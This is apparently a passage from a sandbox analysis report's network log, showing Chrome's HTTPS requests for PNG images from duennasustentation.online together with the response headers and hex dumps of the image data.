2025-01-08 14:44:36 UTC	1369	IN	Data Raw: 19 4a e8 a2 93 c9 f2 53 ef e4 b0 f1 96 3d 13 0b 3c 04 9a 59 f1 78 e4 75 11 31 d1 5b b6 8c 8e de bd 8e b6 e5 ea b0 60 ef 98 69 8c 1f 95 a0 58 b9 48 de 06 83 6e 3a 10 13 12 80 20 89 09 0b 86 12 86 be d9 4d 10 18 19 af 23 96 33 7a 24 39 10 00 8f 8a 78 e5 99 1c fd c9 97 4e 77 0e e9 11 40 0e 83 ca ac d9 3e 31 c6 14 f0 6a 2d 3a da f8 ea 9a 80 bf 34 f6 b9 7c e6 40 1e d7 2e 03 5d 3a 28 6d 2f d2 c1 9b bb 8e 2d 93 ce ba 12 5e 3e 76 b2 80 d7 bd 5b 16 60 d8 92 1b f0 14 21 86 e9 f5 3c de 3b c0 cb d0 d3 89 97 03 8c 46 54 a0 58 a0 50 6a 98 18 a3 b0 c7 e8 33 85 5f ba 31 7a 78 dc 93 f1 14 be b3 51 c0 90 8d 15 37 f4 e6 63 04 82 61 38 86 48 a7 06 0b 90 1c 04 05 f6 26 a2 7f 06 28 83 d2 9c 82 82 dd dd 5d 28 fa da f0 91 02 ec 34 f8 3c 0a 5a 1d 2e 39 06 e6 24 d8 db 11 bf bd 12 Data Ascii: JS=<Yxu1[`iXHn: M#3z$9xNw@>1j-:4\|@.]:(m/-^>v[`!<;FTXPj3_1zxQ7ca8H&(](4<Z.9$
2025-01-08 14:44:36 UTC	279	IN	Data Raw: bb 70 83 d6 63 af 8e b8 04 26 5e f7 24 aa cd 2c 0b cd 7b e7 e5 36 96 1a 52 3c 1e b1 3f 3a f2 4e 9a af c9 e0 a6 79 63 48 02 55 b4 dd e1 05 3e e0 df 85 eb 68 fe a2 a8 b0 e5 23 5d 9d 56 3b e7 08 0f 0d 89 6c 35 95 1a b5 b6 39 e7 05 21 91 62 83 db 0d 31 ea 9b 97 bb d3 08 a7 c3 11 1a f2 77 e1 1a 7f 90 81 19 aa 56 9b 20 4a 12 05 56 70 a7 cb e8 76 cf 2d f7 b8 11 62 03 4c 71 6e bb 30 e0 79 91 ce ea bf 6f 69 f5 cd 31 c1 6b 5f 7d 8f 58 ec a8 5e 7e fe 9b 5a 59 6e 9a fd b6 cb c8 da 18 3f e8 17 b1 2a 7e f7 d5 21 7f 17 c2 2e fc f9 01 99 ec ce c8 40 65 8c d8 63 0f 68 05 ba 78 1d 45 a1 3f b7 03 21 ff 04 2e f0 3b 83 14 e2 d0 3b 1d f6 2d 2b 4a 5e b2 c5 11 0d d5 ff 28 c2 7a ee 5e bd e7 08 7b 75 d4 ea e0 7c 3e 22 e4 9f c6 2f 12 28 97 84 47 ff e2 71 81 39 fd 8b 88 0c 0d f9 1f Data Ascii: pc&^$,{6R<?:NycHU>h#]V;l59!b1wV JVpv-bLqn0yoi1k_}X^~ZYn?*~!.@echxE?!.;;-+J^(z^{u\|>"/(Gq9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49741	104.21.28.45	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:35 UTC	824	OUT	GET /images/f_guarantee.png HTTP/1.1 Host: duennasustentation.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:36 UTC	1050	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:36 GMT Content-Type: image/png Content-Length: 6352 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d2943-18d0" expires: Wed, 08 Jan 2025 14:44:35 GMT last-modified: Tue, 07 Jan 2025 13:16:51 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q4DufyQe%2BY2UY3Qp4Yh5%2Bp61uzPb9xZpX2IQgV5ZrZBtXxH89orgn%2Bj%2B1n2SrLoiXuWQjqUOIDtLGTL38tHlUSWGh87yMvW3bfqVtpvhIo3VPF9ceFFOQGJF5Njgo8jOifqkgT%2F3O13MCIqH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf76d2fff41b2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1700&min_rtt=1690&rtt_var=655&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2868&recv_bytes=1402&delivery_rate=1644144&cwnd=220&unsent_bytes=0&cid=973b57888b2db1b9&ts=946&x=0"
2025-01-08 14:44:36 UTC	319	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5e 00 00 00 5d 08 03 00 00 00 1b 98 21 f2 00 00 02 7f 50 4c 54 45 00 00 00 d9 d4 c7 db d6 ca de da cc d8 d5 c9 cd cd cc ca c9 c6 99 9a 9a c1 c0 bd 97 98 9d f1 e0 a6 e5 dc bb ee df ab cb c8 c6 a7 a7 aa b5 b5 b4 bc bd ba bb bd c0 f8 e6 af b3 b2 b1 c7 c7 c8 e0 cf 82 8b 8d 8d e9 ce 7a e7 d5 91 d1 bd 7e f3 e0 a1 b7 aa 88 ec d8 90 a7 a9 ac e6 d7 a7 f1 e1 af 87 88 8b e8 cb 6c d7 c6 87 c2 b2 82 cc be 9a dd c8 76 81 7e 7f e5 cf 7d 9e 9f 9e 9f 98 8c cc bc 92 ab 9c 7d 17 18 1c 01 01 03 13 14 1a fb da 6e fc d1 53 f9 d4 54 fa cc 38 05 06 0b fb d7 63 08 0b 15 0a 0b 0f fd d8 67 0e 12 14 0d 0f 18 fc d4 5c f7 d6 5b fe df 6d fe dc 61 fa d2 48 28 28 2b 1d 1f 22 33 34 36 f6 cc 30 ff e1 5d f6 d6 60 fe d8 46 f7 d8 6b fb Data Ascii: PNGIHDR^]!PLTEz~lv~}}nST8cg\[maH((+"3460]`Fk
2025-01-08 14:44:36 UTC	1369	IN	Data Raw: ef bf bf c1 b6 b6 b8 ab ac ad 68 68 6c e1 e2 e3 99 9b 9e 3b 3d 41 5d 4f 2d eb cf 67 fe d5 34 39 31 1d e7 e7 e7 fa da 60 54 56 5a 7d 70 45 fe d2 2e d5 d5 d6 47 49 4b ff e0 43 fd d1 3b 6e 60 35 f4 f5 f5 b6 a6 72 50 4f 50 fe cf 4b 68 59 29 33 29 17 42 44 46 fd eb 8e 5b 5b 5d ce b5 55 7d 6c 37 1c 16 1a fe e9 86 ff ef 77 f7 dd 72 eb cb 5b c0 aa 53 8d 7a 41 fc ed 98 84 84 87 ee d6 72 f5 ce 46 13 0d 0d a2 a3 a5 eb d4 7b 69 60 4a ff da 3a 3e 37 26 d3 bf 69 e0 c6 61 fe d7 4f ff e2 4b 99 83 3e b9 a1 4a c7 aa 42 d3 b6 41 fc cc 27 55 48 26 5e 4f 23 fd fd fe da db dd ca cc cc 8b 8d 8f ed dd 8a fa e3 83 e1 cc 6e ef d8 69 b4 a1 59 63 56 34 44 3a 1e c5 c6 c7 ff e8 64 cc b6 63 ad 98 50 88 74 32 77 65 2b fa ee a3 ff f1 81 fe f9 b5 91 92 94 7c 7f 83 a8 9d 77 bf ad 60 dc bf Data Ascii: hhl;=A]O-g491`TVZ}pE.GIKC;n`5rPOPKhY)3)BDF[[]U}l7wr[SzArF{i`J:>7&iaOK>JBA'UH&^O#niYcV4D:dcPt2we+\|w`
2025-01-08 14:44:36 UTC	1369	IN	Data Raw: 75 da 47 2c 34 e1 74 20 98 d2 69 77 f7 a6 f7 28 e9 38 0b 41 a2 28 e0 7b 1c 33 0c 7d d5 8c e2 fa b6 14 9b 82 0f 12 4d d4 bf 1f e0 c7 f1 fb 93 92 fc e8 c0 be ba ba e3 ac 38 c6 3e 6f 0d a4 c7 d0 19 71 b5 18 69 72 26 3b 94 86 64 25 e2 89 35 20 48 86 23 15 71 27 1b 3c a6 0c 12 fb c4 ee 41 94 8e 58 2e c1 a5 cc 15 81 2d 90 3f 7f f9 72 59 59 f3 97 1f 05 fc 59 23 10 cb 01 7e 9c 67 8d f4 12 28 17 2d 4c ef 45 2c d9 26 84 c2 5c 5d 19 9e 58 86 50 d2 90 32 28 46 70 dd c9 c9 f6 69 84 89 ab 45 90 de ec 54 04 87 1a aa 01 be 42 11 a2 d1 84 84 64 5e be d2 fb 0a ff e3 2a 51 0a 0c aa f6 b8 31 ec 06 4b 37 65 03 9a 3b d2 63 76 c5 f6 38 18 90 02 4a 14 23 28 78 20 31 84 31 65 70 89 69 3b 83 a4 66 7f 82 90 34 8d 92 38 39 af d6 f0 8f 1e 3d aa 50 68 4e 3d 70 ed fc 63 7f de f6 99 14 Data Ascii: uG,4t iw(8A({3}M8>oqir&;d%5 H#q'<AX.-?rYYY#~g(-LE,&\]XP2(FpiETBd^*Q1K7e;cv8J#(x 11epi;f489=PhN=pc
2025-01-08 14:44:36 UTC	1369	IN	Data Raw: 0f 6a 68 ef c8 e8 dd c6 56 e5 6c 82 5a 24 d6 ca 64 59 38 f7 18 77 35 0e 91 11 d7 2e 95 1c 19 5a c1 ea fb 4a 0a ee 31 66 ef 10 96 d7 74 e9 3a a1 f3 36 62 de ba f8 8a 4b f3 79 e3 fd fb ea b3 64 51 d2 a8 d1 09 82 3c b4 f6 49 28 4d 9b 22 26 26 a8 e1 72 2e b3 36 b1 76 1f 19 90 8b b5 d6 04 1d c1 7d 11 a4 ae af 24 b2 ae 6f d6 3c d4 17 56 30 7b 2c eb d2 97 8d 35 83 27 ce d6 cc 5d 5a 24 74 07 1f 0c 96 36 e9 ca 2f 1d bc 5a ae 16 08 58 75 d6 13 23 3b 05 9a 18 61 62 75 31 9d ba b6 27 f1 db d3 24 17 69 61 64 89 43 eb f8 ac 82 c8 c8 b0 4b d7 94 43 75 61 25 d7 6b c6 a7 22 6f 63 8b 7d 2b 49 fd 53 4d 2b 79 d7 74 c5 05 9f 37 9e 9a ba 13 af 55 c3 11 42 7d 26 09 e7 ae 05 8a b3 63 9b 78 f8 f1 ca d3 fd fe 6b 95 f9 51 02 d4 70 74 51 de 7a f6 20 7d 01 94 61 d8 11 6e 7c 5d d8 0f Data Ascii: jhVlZ$dY8w5.ZJ1ft:6bKydQ<I(M"&&r.6v}$o<V0{,5']Z$t6/ZXu#;abu1'$iadCKCua%k"oc}+ISM+yt7UB}&cxkQptQz }an\|]
2025-01-08 14:44:36 UTC	1369	IN	Data Raw: 9d ee 84 85 db dd 4d 13 78 47 7f 74 b8 58 a4 d5 c2 1d 88 a1 65 87 8b c3 a5 e1 e1 12 9f 0d b5 1a 8a 16 39 8c 2b e5 ce 86 35 3f 23 db 02 5b 81 47 ad 50 f4 41 0d 37 eb dd 01 2f 6d f0 cb f8 be 65 a7 39 89 c2 72 ec 85 94 07 cb 80 73 21 4a 64 0d 8c 02 76 55 10 c9 4b 01 9a fb e8 1a 75 51 12 46 a0 b5 d9 6e 0f 82 a7 4f c3 78 2d 27 aa 54 41 a1 69 aa b6 ca 75 fc 3b cd 21 7c 58 33 05 7c 6b 05 05 c7 55 43 fe 08 c3 8c a4 22 a8 8f 2f 0e 64 f1 12 5f da ec 13 5f 08 7c ca 6b ce 17 0d 63 04 93 a3 74 c5 25 bb 0c c9 85 b8 f9 6e ab 8a 8d d3 0f ef 5f df e9 f7 e2 50 08 76 0f 9b 10 5f de 9c 84 51 ee 74 43 72 ac 92 41 99 1c 2e 8e 0d 35 47 cb c3 41 15 70 17 81 0e c1 1a 80 20 0f 5b 35 36 75 f9 30 86 d3 b1 b1 5c 84 76 27 c3 89 80 d0 29 d2 54 a1 a7 4f a7 5d bc 98 d8 66 09 78 a1 cd b5 Data Ascii: MxGtXe9+5?#[GPA7/me9rs!JdvUKuQFnOx-'TAiu;!\|X3\|kUC"/d__\|kct%n_Pv_QtCrA.5GAp [56u0\v')TO]fx
2025-01-08 14:44:36 UTC	557	IN	Data Raw: d1 a8 26 33 66 b6 7c b3 bf 72 cb eb bf e2 e0 04 ec dd c8 f9 28 44 18 a3 d1 d8 14 30 04 b0 d9 3d df 5a dd fe f3 93 dc 8e c6 bc 08 36 92 86 3b 27 db 1e b7 c7 1c 3e dc 20 64 33 4f 6b 48 bb 78 3a 6d 29 37 75 c7 46 8e ff 5e 28 c9 bf 8d ad d5 0d 87 15 17 4e 9d d1 c4 28 42 c0 7f 38 da d2 da 6a 13 5c be 70 ff 14 1b ed 17 a0 ac 80 9d a9 82 80 82 59 ba bf 94 76 f1 e1 52 bc e9 cd bf f9 29 bb 70 b2 a2 53 f7 73 6b 26 0c 80 10 dc 2b 61 a6 46 03 c8 d5 d0 34 34 64 0a a1 14 7d 11 94 78 f7 6a 56 db 4d d5 fd 78 d7 1b e3 b7 1d f1 5e 65 f2 53 6f 29 c0 9a 11 6a c0 5e 82 a8 06 1f 82 75 52 d6 02 66 69 5a da e9 50 56 74 3a d5 54 ef 2d 7e 60 d8 fe a6 78 bf 3d 16 d7 cc a6 5d ef 5f ce 14 66 1e 7e 76 01 68 99 70 07 00 5f 23 0b 7d b1 a4 62 27 d2 fd 8e 9c e9 5d 1f ee 37 18 e0 30 f2 a6 Data Ascii: &3f\|r(D0=Z6;'> d3OkHx:m)7uF^(N(B8j\pYvR)pSsk&+aF44d}xjVMx^eSo)j^uRfiZPVt:T-~`x=]_f~vhp_#}b']70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49742	104.21.28.45	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:35 UTC	817	OUT	GET /images/logo.png HTTP/1.1 Host: duennasustentation.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:36 UTC	1047	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:36 GMT Content-Type: image/png Content-Length: 46866 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d2948-b712" expires: Wed, 08 Jan 2025 14:44:35 GMT last-modified: Tue, 07 Jan 2025 13:16:56 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=atSDsp5Eyi6xXQRwq8Aw3X9ODzkjBRSEwNOEfAgHDlbgptOI48eCHWkrJolzhDApayuPxCLRA67iu2dDZxNdPxigxBdw5tW1N7L6rxosou%2BNMRq6%2F98gvs71kNeL%2F3kedb7Bxv8Ee8x2s0RS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf76d2d6c0cac-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1710&min_rtt=1709&rtt_var=644&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2870&recv_bytes=1395&delivery_rate=1694718&cwnd=234&unsent_bytes=0&cid=011dede79910103c&ts=968&x=0"
2025-01-08 14:44:37 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 c1 00 00 00 ff 08 06 00 00 00 10 5e 0b 80 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 07 e2 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 31 20 37 39 2e 31 34 36 32 38 39 39 2c 20 32 30 32 33 2f 30 36 2f 32 35 2d 32 30 3a 30 31 3a 35 35 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 Data Ascii: PNGIHDR^pHYs.#.#x?viTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899, 2023/06/25-20:01:55 "> <rdf:R
2025-01-08 14:44:37 UTC	1369	IN	Data Raw: 4d 4d 3a 48 69 73 74 6f 72 79 3e 20 3c 72 64 66 3a 53 65 71 3e 20 3c 72 64 66 3a 6c 69 20 73 74 45 76 74 3a 61 63 74 69 6f 6e 3d 22 63 72 65 61 74 65 64 22 20 73 74 45 76 74 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 39 38 31 62 38 33 62 66 2d 63 66 30 62 2d 30 63 34 64 2d 62 66 33 66 2d 61 64 63 66 33 37 34 65 62 63 36 36 22 20 73 74 45 76 74 3a 77 68 65 6e 3d 22 32 30 32 31 2d 30 39 2d 31 35 54 32 32 3a 35 31 3a 30 39 2b 30 38 3a 30 30 22 20 73 74 45 76 74 3a 73 6f 66 74 77 61 72 65 41 67 65 6e 74 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 22 2f 3e 20 3c 72 64 66 3a 6c 69 20 73 74 45 76 74 3a 61 63 74 69 6f 6e 3d 22 73 61 76 65 64 22 20 73 74 45 76 74 3a 69 6e 73 74 61 6e 63 65 49 Data Ascii: MM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:981b83bf-cf0b-0c4d-bf3f-adcf374ebc66" stEvt:when="2021-09-15T22:51:09+08:00" stEvt:softwareAgent="Adobe Photoshop 21.1 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceI
2025-01-08 14:44:37 UTC	1369	IN	Data Raw: 65 20 99 e5 f8 a7 ff 05 33 fc a4 b6 0f 57 d8 17 ff 87 d7 10 5f 7f 0e e1 94 d7 90 3e 20 19 40 d0 78 be 8e 98 2b 3a 5d 20 49 81 06 d0 78 75 6b 7b b4 27 35 ed 70 38 3e 45 dc d7 a8 c3 b1 0f 21 99 3d 20 37 15 fc 1a f0 9d 1d c2 b1 0f 10 25 5c c1 80 2e b4 98 92 5e c4 2e bd 19 19 f9 d5 76 0f 25 bd c7 12 bb fc 01 82 bf 9c 41 38 e5 39 a4 1f 90 6d a2 6a bc 6d 70 54 ec 11 54 a1 41 21 3b af b5 3d da 5a 07 d9 e1 70 7c ca 38 11 ec 70 ec 4b 84 61 e4 7d b4 b8 fc 92 a3 fb d3 24 03 ac 73 2c 92 d7 8f d8 b9 57 77 48 00 27 91 bc 5e f8 bf bd 19 50 c2 c9 cf 63 fa 5b 48 33 7b af 2d 85 12 fd 2e 86 ad 6a dd bd 25 cf 1d 0e c7 6e 70 22 d8 e1 70 38 1c 5d 8f 12 7d c3 78 60 17 d8 c8 ce 70 fe 0d c8 d8 2f 77 7a 68 29 e8 83 ff db 9b 00 c5 4e fb 0f d2 67 2f 0b 61 87 c3 b1 4f e2 9e a7 3a 1c Data Ascii: e 3W_> @x+:] Ixuk{'5p8>E!= 7%\.^.v%A89mjmpTTA!;=Zp\|8pKa}$s,WwH'^Pc[H3{-.j%np"p8]}x`p/wzh)Ng/aO:
2025-01-08 14:44:37 UTC	1369	IN	Data Raw: 6d 7f 43 89 e6 ee 03 2b 2c 64 96 13 bb ec 61 64 e8 f1 ed 1e ca 1c f7 63 62 e7 fe 01 28 44 d7 59 f0 b4 6d d7 d5 02 29 06 49 05 3e fa 18 36 ad d8 79 1f 3f 07 ff ec 3b f1 be f4 1d 74 75 42 08 7b ed 0e d1 e1 70 7c 06 71 22 d8 e1 70 38 9a 63 88 44 5a 8d 85 fa cf e0 63 76 25 12 92 1e e8 2a 0b 19 15 a4 5c fe 10 32 bc fd 02 38 89 39 ee 74 62 bf ba 12 6c 09 ac 51 30 6d 14 c2 02 9a 0e 76 ee 3b 84 53 fe 46 8b a6 e2 94 1c fc 73 ee c7 1c f7 1d 74 99 89 de 37 27 84 1d 0e c7 6e f8 ac fd 69 77 38 1c 8e d6 49 8a 3f 51 d8 64 41 0a a1 ce 47 6b 2c a4 f0 d9 28 c1 b5 5d 00 2b ba d0 22 29 bd f0 7f 77 0f 0c 39 ae d3 43 9b e3 7e 46 ec 37 57 43 bc 08 5d a9 6d 13 aa 21 48 ba a0 61 3d e1 f3 f7 c1 da 59 ad ec e8 13 3b ef 0e bc 93 be 85 2e 27 7a cf 9c 35 c2 e1 70 ec 02 27 82 1d 0e 87 Data Ascii: mC+,dadcb(DYm)I>6y?;tuB{p\|q"p8cDZcv%*\289tblQ0mv;SFst7'niw8I?QdAGk,(]+")w9C~F7WC]m!Ha=Y;.'z5p'
2025-01-08 14:44:37 UTC	1369	IN	Data Raw: 00 92 d9 cf 72 a4 7f 2e 76 f2 2c 82 ab cf c4 3b 7d 05 62 b2 09 1f bf 1d 3b f7 3d a0 7a 7b d9 34 94 48 e8 2e 7e 9f 70 ea b3 84 7d 6f c7 3b f6 4b 68 55 88 7d f1 2e a4 88 48 28 ef 2b 99 41 01 42 45 b6 81 1c 39 1e ef e8 1f ec ed 88 9a 21 98 23 bf 87 7f 09 c4 af 38 15 9d 5f 8b 0c 8c 84 aa d6 83 c9 cd 85 92 de 1d 1f 3e a7 84 d8 69 7f 46 08 09 9f fe 1b da 5f 91 6c 03 0d 44 3e e0 2d 8a e9 59 81 39 e4 73 db 05 30 80 14 f7 23 76 ee 5d c4 53 cf c2 be fe 74 24 84 63 4e 08 3b 1c fb 32 4e 04 3b 1c 8e fd 9b ed 25 c0 a2 2e 68 e4 55 12 fb e5 dd 50 d6 8f a0 e1 87 d8 37 a6 10 dc 7e 21 82 07 b5 1b 90 3c 20 55 22 1b 44 32 bb 6b 80 b8 45 17 6e 46 57 bd 8b 5d 30 13 c9 32 88 57 07 99 06 c2 bd 38 bf f6 22 40 03 68 08 5e 79 05 a4 b4 c3 5b fb 29 62 8e fc 2e b1 0b 03 1a fe 74 2a ba Data Ascii: r.v,;}b;=z{4H.~p}o;KhU}.H(+ABE9!#8_>iF_lD>-Y9s0#v]St$cN;2N;%.hUP7~!< U"D2kEnFW]02W8"@h^y[)b.t*
2025-01-08 14:44:37 UTC	1369	IN	Data Raw: 0a e1 d1 98 de fd b0 6f bc 06 9b 6b 90 5c 83 a4 83 64 2b 92 2e 89 f7 25 b1 a8 d1 08 92 26 48 01 88 df 80 7e 32 8b f0 d5 c7 60 cd 47 48 4e 3e 48 88 9d f8 10 c1 bd 97 42 b0 15 29 36 51 f6 5f 89 16 46 d6 29 ac 5f 8f 77 d8 97 91 bc d2 d6 e3 4a cf c2 8c fb 02 22 21 d2 ff 20 c4 8f 35 df c3 89 60 87 a3 9b e2 16 c6 39 1c 8e fd 8b 84 f8 43 ca f1 2f bc 13 19 f3 35 76 ee c1 db 0a 99 15 c4 2e 7a 10 33 6a 5c b4 90 4e 34 32 8d c5 41 f2 c0 7e 32 1b 9d 3d b1 71 7f 31 78 c7 ff 08 ff 9c 6b d0 9a 34 74 85 8d 5a f2 36 3d 5d 72 c1 94 d1 36 87 d1 69 7c 60 b9 85 94 52 62 97 3e 84 0c 3a 7a c7 9b 00 49 41 46 1c 03 79 05 b0 2d 11 a3 a5 e5 c5 5d 0d 82 94 1b 54 ab 89 5f f1 03 f4 c3 ff b6 b2 e3 a7 80 08 e6 f0 6f 13 bb f0 3a d0 82 c4 fb 4c 63 fc cd b1 44 a5 cf 52 0d d2 47 90 cc 1a c2 Data Ascii: ok\d+.%&H~2`GHN>HB)6Q_F)_wJ"! 5`9C/5v.z3j\N42A~2=q1xk4tZ6=]r6i\|`Rb>:zIAFy-]T_o:LcDRG
2025-01-08 14:44:37 UTC	1369	IN	Data Raw: cb b1 53 26 a3 5b ab 90 bc c4 f5 4c 66 cb db 8b 21 ea 08 98 e2 e3 1d fb 63 24 77 17 65 d2 76 8d 13 c1 0e 47 37 c5 89 60 87 a3 fb 32 a1 f9 06 27 82 89 c4 49 0c ec 7c 45 72 fa 10 3b e7 46 cc 11 df 04 49 45 ca 07 61 5f bd 19 3b 7b 0d 54 80 e9 2d 48 4d 1c fb e6 ab 48 71 19 a6 df d8 8e 9f 37 25 07 ef 80 f1 b0 f9 6d ec b4 65 50 b3 06 32 83 28 23 5d 57 87 ce 99 85 7d ff 69 74 ed 32 ec fb 2f 62 a7 3f 86 a4 d5 41 1a b0 ac 0a 33 f6 70 a4 62 c4 f6 1a bb 92 57 8e 19 3e 0e fb f1 9b e8 a2 35 48 21 d1 6b 6d f1 aa 7a d1 8f ce b5 48 d1 20 62 97 dc 8c 19 d6 4a 15 88 16 90 cc 7c cc e0 31 d8 59 53 b1 73 d6 20 05 44 35 82 db 9d 8d 96 48 c0 6f ac 85 77 26 63 fa 0f 8e ea 08 ef 25 a4 f7 48 a4 57 09 3a 6d 12 5a 55 1d 09 e1 8e ae dd 33 40 8d 46 2d 92 4f 3c 0d c9 2e ea 68 58 4e 04 Data Ascii: S&[Lf!c$wevG7`2'I\|Er;FIEa_;{T-HMHq7%meP2(#]W}it2/b?A3pbW>5H!kmzH bJ\|1YSs D5How&c%HW:mZU3@F-O<.hXN
2025-01-08 14:44:37 UTC	1369	IN	Data Raw: 4a f0 97 5f 61 df 7e 7a cf 04 dc d6 b0 0e fd 36 29 17 dd 86 90 11 09 e1 a4 35 a2 25 21 ec 83 d6 29 6c 06 6f fc ff 22 25 03 76 3b 7e 78 db 2f 08 1e fd 2b f8 b1 2e 8e dc e1 70 ec 49 9c 08 76 38 1c dd 8b a6 75 80 67 2b 26 bf 37 b1 0b 6f c5 1c f4 3f ed 1a 46 46 1e 4f ec e2 bb 90 b2 be d1 02 b6 f4 44 66 33 04 02 30 95 06 cd d8 48 70 c3 c5 d8 97 3b 59 35 a2 64 28 fe f9 f7 e0 1d 71 22 7c d2 c4 1a 61 14 5d 0b 54 16 22 83 0e 05 69 e2 31 b0 75 04 7f fc 11 c1 cb 8f 46 02 38 b9 90 ae e9 35 30 8a 9d a7 98 f2 c1 a4 fc fe 1e 64 e4 49 9d 8b b3 0d 48 af 11 c4 2e 7d 00 e9 3f 2c 5a 2c 27 b6 7d 5e da a4 10 56 c1 f4 13 34 be 8a e0 4f 67 61 df 7e 76 0f 45 dc c6 b0 8e f8 2e fe c5 b7 23 b1 f4 68 71 65 46 2b d6 08 0f 58 a3 48 51 2e e6 c8 ff 85 94 f4 5d 8c aa 84 77 9e 49 fc 81 7b Data Ascii: J_a~z6)5%!)lo"%v;~x/+.pIv8ug+&7o?FFODf30Hp;Y5d(q"\|a]T"i1uF850dIH.}?,Z,'}^V4Oga~vE.#hqeF+XHQ.]wI{
2025-01-08 14:44:37 UTC	632	IN	Data Raw: 53 d0 d5 1b 91 7c 69 6c 68 91 14 c2 da 80 be fe 12 52 51 81 e9 3d aa e3 42 38 35 17 e9 3f 04 fb de ab c8 b6 d5 90 ab 60 76 23 80 49 c4 92 2a 10 b7 b0 66 2b 66 d4 c1 48 5e 79 c7 62 e8 22 24 23 1f 73 d0 51 e8 bb af 61 17 ac 45 0a a5 63 16 75 1b 09 61 b6 d5 a3 53 5f c6 0c 1b 85 14 0f d8 7b 42 b8 62 08 a6 6f 2f ec 94 97 d1 cd 75 48 89 41 b2 43 f4 ed b9 b0 7e 1e 32 6a 3c 92 9e 45 70 ef 79 84 7f bb 13 e9 59 1f 65 ea 03 1a 33 e2 4e 04 3b 1c fb 24 ce 0e e1 70 38 f6 1e 06 74 a5 45 32 2b 88 5d 76 3f 66 cc e7 a3 32 53 36 04 2f 44 4a 42 28 0a 21 db 20 c3 04 bb 71 09 0d bf fb 26 3a 